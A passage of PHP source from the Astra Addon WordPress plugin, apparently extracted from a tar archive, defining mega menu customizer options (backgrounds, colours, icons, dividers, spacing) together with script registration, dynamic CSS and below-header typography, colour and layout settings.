array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_bg_size', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_bg_size', true ), 'control' => 'ast-select', 'choices' => array( 'auto' => __( 'Auto', 'astra-addon' ), 'cover' => __( 'Cover', 'astra-addon' ), 'contain' => __( 'Contain', 'astra-addon' ), ), 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'image' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_background_type', true ), ), array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'dependency_value' => array( 'image' ), ), ), ), // Option: Background position. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_bg_position', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_bg_position', true ), 'control' => 'ast-select', 'choices' => array( 'left top' => __( 'Left Top', 'astra-addon' ), 'left center' => __( 'Left Center', 'astra-addon' ), 'left bottom' => __( 'Left Bottom ', 'astra-addon' ), 'right top' => __( 'Right Top', 'astra-addon' ), 'right center' => __( 'Right Center', 'astra-addon' ), 'right bottom' => __( 'Right Bottom', 'astra-addon' ), 'center top' => __( 'Center Top', 'astra-addon' ), 'center center' => __( 'Center Center', 'astra-addon' ), 'center bottom' => __( 'Center Bottom', 'astra-addon' ), ), 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'image' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_background_type', true ), ), array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'dependency_value' => array( 'image' ), ), ), ), // Option: Color heading. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_color_label_title', 'control' => 'ast-title', 'title' => __( 'Colors', 'astra-addon' ), 'tab_type' => 'design', 'divider' => 'ast-top-section-divider', 'depth' => 0, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), // Option: Heading color. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_heading_color_group', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_heading_color_group', true ), 'control' => 'ast-color', 'title' => __( 'Heading', 'astra-addon' ), 'link_to' => 'panel-header-builder-group', 'divider' => '', 'depth' => 0, 'tab_type' => 'design', 'has_hover' => true, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), // Option: Text/Link text color. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_text_color_group', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'text_color', $menu_item_id ), 'control' => 'ast-color', 'title' => __( 'Text/Link', 'astra-addon' ), 'tab_type' => 'design', 'depth' => 0, 'has_hover' => true, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), // Option: Icon heading. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_icon_label_title_design', 'control' => 'ast-title', 'title' => __( 'Icon', 'astra-addon' ), 'tab_type' => 'design', 'divider' => 'ast-top-section-divider', 'depth' => 'all', 'context' => array( array( 'value' => array( 'image', 'icon' ), 'target_value' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_source', $menu_item_id ), ), ), ), // Option: Icon view type. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_view', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_view', $menu_item_id ), 'control' => 'ast-select', 'title' => __( 'View', 'astra-addon' ), 'choices' => array( 'default' => __( 'Default', 'astra-addon' ), 'stacked' => __( 'Stacked', 'astra-addon' ), 'framed' => __( 'Framed', 'astra-addon' ), ), 'tab_type' => 'design', 'depth' => 'all', 'trigger_context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_secondary_color', 'value' => array( 'stacked', 'framed' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_padding', 'value' => array( 'stacked', 'framed' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_corner_radius', 'value' => array( 'stacked', 'framed' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_border_width', 'value' => array( 'framed' ), ), ), 'context' => array( array( 'value' => array( 'image', 'icon' ), 'target_value' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_source', $menu_item_id ), ), ), ), // Option: Icon primary color. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_primary_color', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_primary_color', $menu_item_id ), 'control' => 'ast-color', 'title' => __( 'Primary Color', 'astra-addon' ), 'divider' => '', 'tab_type' => 'design', 'depth' => 'all', 'context' => array( array( 'value' => array( 'image', 'icon' ), 'target_value' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_source', $menu_item_id ), ), ), ), // Option: Icon secondary color. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_secondary_color', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_secondary_color', $menu_item_id ), 'control' => 'ast-color', 'title' => __( 'Secondary Color', 'astra-addon' ), 'divider' => '', 'tab_type' => 'design', 'depth' => 'all', 'context' => array( array( 'value' => array( 'stacked' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_icon_view', true ), ), array( 'value' => array( 'framed' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_icon_view', true ), ), array( 'value' => array( 'image', 'icon' ), 'target_value' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_source', $menu_item_id ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_view', 'dependency_value' => array( 'stacked', 'framed' ), ), ), ), // Option: Icon padding. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_padding', 'control' => 'ast-slider', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_padding', $menu_item_id ), 'title' => __( 'Padding', 'astra-addon' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 1, 'step' => 1, 'max' => 100, ), 'tab_type' => 'design', 'depth' => 'all', 'context' => array( array( 'value' => array( 'stacked' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_icon_view', true ), ), array( 'value' => array( 'framed' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_icon_view', true ), ), array( 'value' => array( 'image', 'icon' ), 'target_value' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_source', $menu_item_id ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_view', 'dependency_value' => array( 'stacked', 'framed' ), ), ), ), // Option: Icon border width. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_border_width', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_border_width', $menu_item_id ), 'type' => 'control', 'control' => 'ast-spacing', 'title' => __( 'Border Width', 'astra-addon' ), 'linked_choices' => true, 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'suffix' => 'px', 'connected' => false, 'tab_type' => 'design', 'responsive' => false, 'depth' => 'all', 'context' => array( array( 'value' => array( 'framed' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_icon_view', true ), ), array( 'value' => array( 'image', 'icon' ), 'target_value' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_source', $menu_item_id ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_view', 'dependency_value' => array( 'framed' ), ), ), ), // Option: Icon border radius. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_corner_radius', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_corner_radius', $menu_item_id ), 'type' => 'control', 'control' => 'ast-spacing', 'suffix' => 'px', 'title' => __( 'Corner Radius', 'astra-addon' ), 'linked_choices' => true, 'choices' => array( 'top-left' => __( 'Top left', 'astra-addon' ), 'top-right' => __( 'Top Right', 'astra-addon' ), 'bottom-left' => __( 'Bottom Left', 'astra-addon' ), 'bottom-right' => __( 'Bottom Right', 'astra-addon' ), ), 'connected' => false, 'tab_type' => 'design', 'responsive' => false, 'depth' => 'all', 'context' => array( array( 'value' => array( 'stacked' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_icon_view', true ), ), array( 'value' => array( 'framed' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_icon_view', true ), ), array( 'value' => array( 'image', 'icon' ), 'target_value' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_source', $menu_item_id ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_view', 'dependency_value' => array( 'stacked', 'framed' ), ), ), ), // Option: Divider Heading. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_divider_title', 'control' => 'ast-title', 'title' => __( 'Divider', 'astra-addon' ), 'divider' => 'ast-top-section-divider', 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), // Option: Divider style. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_divider_style', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_divider_style', true ), 'control' => 'ast-select', 'title' => __( 'Style', 'astra-addon' ), 'choices' => array( 'solid' => __( 'Solid', 'astra-addon' ), 'dotted' => __( 'Dotted', 'astra-addon' ), 'dashed' => __( 'Dashed', 'astra-addon' ), 'double' => __( 'Double', 'astra-addon' ), 'none' => __( 'None', 'astra-addon' ), ), 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), // Option: Top Border width. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_top_border_width', 'control' => 'ast-slider', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_top_border_width', true ), 'title' => __( 'Top Border Width', 'astra-addon' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 50, ), 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), // Option: Column Divider width. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_column_divider_width', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_column_divider_width', true ), 'control' => 'ast-slider', 'title' => __( 'Column Width', 'astra-addon' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 50, ), 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), // Option: Row Divider width. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_row_divider_width', 'control' => 'ast-slider', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_row_divider_width', true ), 'title' => __( 'Row Width', 'astra-addon' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 50, ), 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), // Option: Top Border. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_top_border_color', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_top_border_color', true ), 'control' => 'ast-color', 'title' => __( 'Top Border', 'astra-addon' ), 'divider' => '', 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), // Option: Divider column color. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_column_divider_color', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_column_divider_color', true ), 'control' => 'ast-color', 'title' => __( 'Column Divider', 'astra-addon' ), 'divider' => '', 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), // Option: Highlight Labels heading. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_highlight_labels_title', 'control' => 'ast-title', 'title' => __( 'Highlight Labels', 'astra-addon' ), 'divider' => '', 'tab_type' => 'design', 'divider' => 'ast-top-section-divider', 'depth' => 'all', ), // Option: Highlight Label color. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_label_color', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_label_color', true ), 'control' => 'ast-color', 'title' => __( 'Highlight Label Color', 'astra-addon' ), 'divider' => '', 'tab_type' => 'design', 'depth' => 'all', ), // Option: Highlight Label background color. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_label_bg_color', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_label_bg_color', true ), 'control' => 'ast-color', 'title' => __( 'Background Color', 'astra-addon' ), 'divider' => '', 'tab_type' => 'design', 'depth' => 'all', ), // Option: Highlight Label spacing heading. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_spacing_title', 'control' => 'ast-title', 'title' => __( 'Spacing', 'astra-addon' ), 'divider' => '', 'tab_type' => 'design', 'divider' => 'ast-top-section-divider', 'depth' => 0, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), // Option: Margin. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_margin', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'margin', $menu_item_id ), 'type' => 'control', 'control' => 'ast-spacing', 'title' => __( 'Margin', 'astra-addon' ), 'suffix' => 'px', 'linked_choices' => true, 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'connected' => false, 'tab_type' => 'design', 'responsive' => false, 'depth' => 0, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), // Option: Padding. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_padding', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'padding', $menu_item_id ), 'type' => 'control', 'control' => 'ast-spacing', 'title' => __( 'Padding', 'astra-addon' ), 'suffix' => 'px', 'linked_choices' => true, 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'connected' => false, 'tab_type' => 'design', 'responsive' => false, 'depth' => 0, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), ); return rest_ensure_response( $_config ); } /** * Register Script for Mega menu. * * @since 4.0.0 */ public function register_mega_menu_script() { $path = ASTRA_ADDON_EXT_NAV_MENU_URL . 'react/build/index.js'; if ( is_rtl() ) { $font_icon_picker_css_file = 'font-icon-picker-rtl'; } else { $font_icon_picker_css_file = 'font-icon-picker'; } wp_enqueue_style( 'ahfb-customizer-color-picker-style', ASTRA_THEME_URI . 'inc/assets/css/' . $font_icon_picker_css_file . '.css', array(), ASTRA_EXT_VER ); wp_enqueue_style( 'astra-customizer-control-css', get_site_url() . '/wp-includes/css/dist/components/style.css', array(), ASTRA_EXT_VER ); wp_register_script( 'astra-mega-menu', $path, array( 'wp-edit-post', 'wp-i18n', 'wp-element' ), ASTRA_EXT_VER, true ); $widget_obj = Astra_Ext_Nav_Widget_Support::get_instance(); wp_localize_script( 'astra-mega-menu', 'AstraBuilderMegaMenu', array( 'isWP_5_9' => astra_wp_version_compare( '5.8.99', '>=' ), 'nonce' => wp_create_nonce( 'wp_rest' ), 'nonceWidget' => wp_create_nonce( 'wp_widget_nonce' ), 'globalColorPalette' => astra_get_option( 'global-color-palette' ), 'globalPaletteStylePrefix' => Astra_Global_Palette::get_css_variable_prefix(), 'globalPaletteLabels' => Astra_Global_Palette::get_palette_labels(), 'widgets' => $widget_obj->get_widget_list(), 'savingButtonText' => array( 'initial' => __( 'Save Changes', 'astra-addon' ), 'saving' => __( 'Saving...', 'astra-addon' ), 'saved' => __( 'Saved', 'astra-addon' ), 'error' => __( 'Error Saving', 'astra-addon' ), ), 'oldMegaMenuUrl' => admin_url( 'customize.php?autofocus[control]=' . ASTRA_THEME_SETTINGS . '[primary-header-megamenu-heading-color]' ), 'isHeaderFooterBuilderActive' => astra_addon_builder_helper()->is_header_footer_builder_active, 'newMegaMenuUrl' => admin_url( 'customize.php?autofocus[panel]=panel-header-builder-group' ), ) ); wp_enqueue_script( 'astra-mega-menu' ); } /** * Add Body Classes * * @param array $classes Body Class Array. * @return array */ public function body_classes( $classes ) { if ( ! wp_is_mobile() ) { $classes[] = 'ast-desktop'; } return $classes; } } } new Astra_Ext_Nav_Menu_Markup(); builder-dynamic.css.php 0000666 00000003772 15165372345 0011144 0 ustar 00 <?php /** * Mega Menu - Dynamic CSS * * @package Astra Addon */ add_filter( 'astra_addon_dynamic_css', 'astra_addon_mega_menu_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return string */ function astra_addon_mega_menu_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { $css = ''; $common_css_output = array( '.ast-desktop .ast-mm-widget-content .ast-mm-widget-item' => array( 'padding' => 0, ), ); // Common options of Above Header. $css .= astra_parse_css( $common_css_output ); if ( false === Astra_Icons::is_svg_icons() ) { $astra_font = array( '.ast-desktop .ast-mega-menu-enabled.main-header-menu > .menu-item-has-children > .menu-link .sub-arrow:after, .ast-desktop .ast-mega-menu-enabled.ast-below-header-menu > .menu-item-has-children > .menu-link .sub-arrow:after, .ast-desktop .ast-mega-menu-enabled.ast-above-header-menu > .menu-item-has-children > .menu-link .sub-arrow:after' => array( 'content' => '"\e900"', 'display' => 'inline-block', 'font-family' => 'Astra', 'font-size' => '9px', 'font-size' => '.6rem', 'font-weight' => 'bold', 'text-rendering' => 'auto', '-webkit-font-smoothing' => 'antialiased', '-moz-osx-font-smoothing' => 'grayscale', 'margin-left' => '10px', 'line-height' => 'normal', ), ); } else { $astra_font = array( '.ast-header-break-point .menu-text + .icon-arrow, .ast-desktop .menu-link > .icon-arrow:first-child, .ast-header-break-point .main-header-menu > .menu-item > .menu-link .icon-arrow, .ast-header-break-point .astra-mm-highlight-label + .icon-arrow' => array( 'display' => 'none', ), ); } /* Parse CSS from array() */ $css .= astra_parse_css( $astra_font ); return $dynamic_css . $css; } sections/class-astra-nav-menu-below-header-typography.php 0000666 00000012763 15165372345 0017635 0 ustar 00 <?php /** * Mega Menu Options configurations. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.6.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Nav_Menu_Below_Header_Typography' ) ) { /** * Register Mega Menu Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Nav_Menu_Below_Header_Typography extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Mega Menu Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Below Header Header Group */ array( 'name' => ASTRA_THEME_SETTINGS . '[below-header-megamenu-typography-styling]', 'default' => astra_get_option( 'below-header-megamenu-typography-styling' ), 'type' => 'control', 'control' => 'ast-settings-group', 'title' => __( 'Mega Menu Column Heading', 'astra-addon' ), 'section' => 'section-below-header', 'transport' => 'postMessage', 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), 'priority' => 137, 'context' => array( 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-layout]', 'operator' => '!=', 'value' => 'disabled', ), array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), ), // Option: Below Megamenu Header Menu Font Family. array( 'name' => 'below-header-megamenu-heading-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[below-header-megamenu-typography-styling]', 'type' => 'sub-control', 'section' => 'section-below-header', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'default' => astra_get_option( 'below-header-megamenu-heading-font-family' ), 'title' => __( 'Font Family', 'astra-addon' ), 'connect' => ASTRA_THEME_SETTINGS . '[below-header-megamenu-heading-font-weight]', ), // Option: Below Megamenu Header Menu Font Size. array( 'name' => 'below-header-megamenu-heading-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[below-header-megamenu-typography-styling]', 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra-addon' ), 'type' => 'sub-control', 'section' => 'section-below-header', 'responsive' => false, 'default' => astra_get_option( 'below-header-megamenu-heading-font-size' ), 'control' => 'ast-responsive-slider', 'suffix' => array( 'px', 'em' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), ), ), // Option: Below Megamenu Header Menu Font Weight. array( 'name' => 'below-header-megamenu-heading-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[below-header-megamenu-typography-styling]', 'type' => 'sub-control', 'section' => 'section-below-header', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'default' => astra_get_option( 'below-header-megamenu-heading-font-weight' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'title' => __( 'Font Weight', 'astra-addon' ), 'connect' => 'below-header-megamenu-heading-font-family', ), // Option: Below Megamenu Header Menu Text Transform. array( 'name' => 'below-header-megamenu-heading-text-transform', 'parent' => ASTRA_THEME_SETTINGS . '[below-header-megamenu-typography-styling]', 'type' => 'sub-control', 'section' => 'section-below-header', 'control' => 'ast-select', 'title' => __( 'Text Transform', 'astra-addon' ), 'transport' => 'postMessage', 'default' => astra_get_option( 'below-header-megamenu-heading-text-transform' ), 'choices' => array( '' => __( 'Inherit', 'astra-addon' ), 'none' => __( 'None', 'astra-addon' ), 'capitalize' => __( 'Capitalize', 'astra-addon' ), 'uppercase' => __( 'Uppercase', 'astra-addon' ), 'lowercase' => __( 'Lowercase', 'astra-addon' ), ), ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Nav_Menu_Below_Header_Typography(); sections/class-astra-nav-menu-below-header-colors.php 0000666 00000004377 15165372345 0016732 0 ustar 00 <?php /** * Mega Menu Options configurations. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.6.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Nav_Menu_Below_Header_Colors' ) ) { /** * Register Mega Menu Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Nav_Menu_Below_Header_Colors extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Mega Menu Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array(); if ( is_callable( 'Astra_Sticky_Header_Configs::is_header_section_active' ) && Astra_Sticky_Header_Configs::is_header_section_active() && false === astra_addon_builder_helper()->is_header_footer_builder_active ) { $_configs = array( /** * Option: Sticky Header Below Mega Menu Column Color Group */ array( 'name' => ASTRA_THEME_SETTINGS . '[sticky-header-below-mega-menus-colors]', 'default' => astra_get_option( 'sticky-header-below-mega-menus-colors' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$group_control, 'title' => __( 'Mega Menu Heading', 'astra-addon' ), 'section' => 'section-sticky-header', 'transport' => 'postMessage', 'priority' => 130, 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, ), ); } return array_merge( $configurations, $_configs ); } } } new Astra_Nav_Menu_Below_Header_Colors(); sections/class-astra-nav-menu-below-header-layout.php 0000666 00000005550 15165372345 0016740 0 ustar 00 <?php /** * Mega Menu Options configurations. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.6.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Nav_Menu_Below_Header_Layout' ) ) { /** * Register Mega Menu Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Nav_Menu_Below_Header_Layout extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Mega Menu Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( // Option - Megamenu Heading Space. array( 'name' => ASTRA_THEME_SETTINGS . '[below-header-megamenu-heading-space]', 'default' => astra_get_option( 'below-header-megamenu-heading-space' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'priority' => 175, 'title' => __( 'Megamenu Heading Space', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'section' => 'section-below-header', 'context' => array( 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-layout]', 'operator' => '!=', 'value' => 'disabled', ), array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Nav_Menu_Below_Header_Layout(); sections/class-astra-existing-nav-menu-below-header-colors.php 0000666 00000014013 15165372345 0020546 0 ustar 00 <?php /** * Mega Menu Options configurations. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.6.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Existing_Nav_Menu_Below_Header_Colors' ) ) { /** * Register Mega Menu Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Existing_Nav_Menu_Below_Header_Colors extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Mega Menu Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Below Header Menus Group */ array( 'name' => ASTRA_THEME_SETTINGS . '[below-header-megamenu-group]', 'default' => astra_get_option( 'below-header-megamenu-group' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$group_control, 'title' => __( 'Mega Menu Heading', 'astra-addon' ), 'section' => 'section-below-header', 'transport' => 'postMessage', 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), 'priority' => 136, 'context' => array( 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-layout]', 'operator' => '!=', 'value' => 'disabled', ), array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[below-header-section-1]', 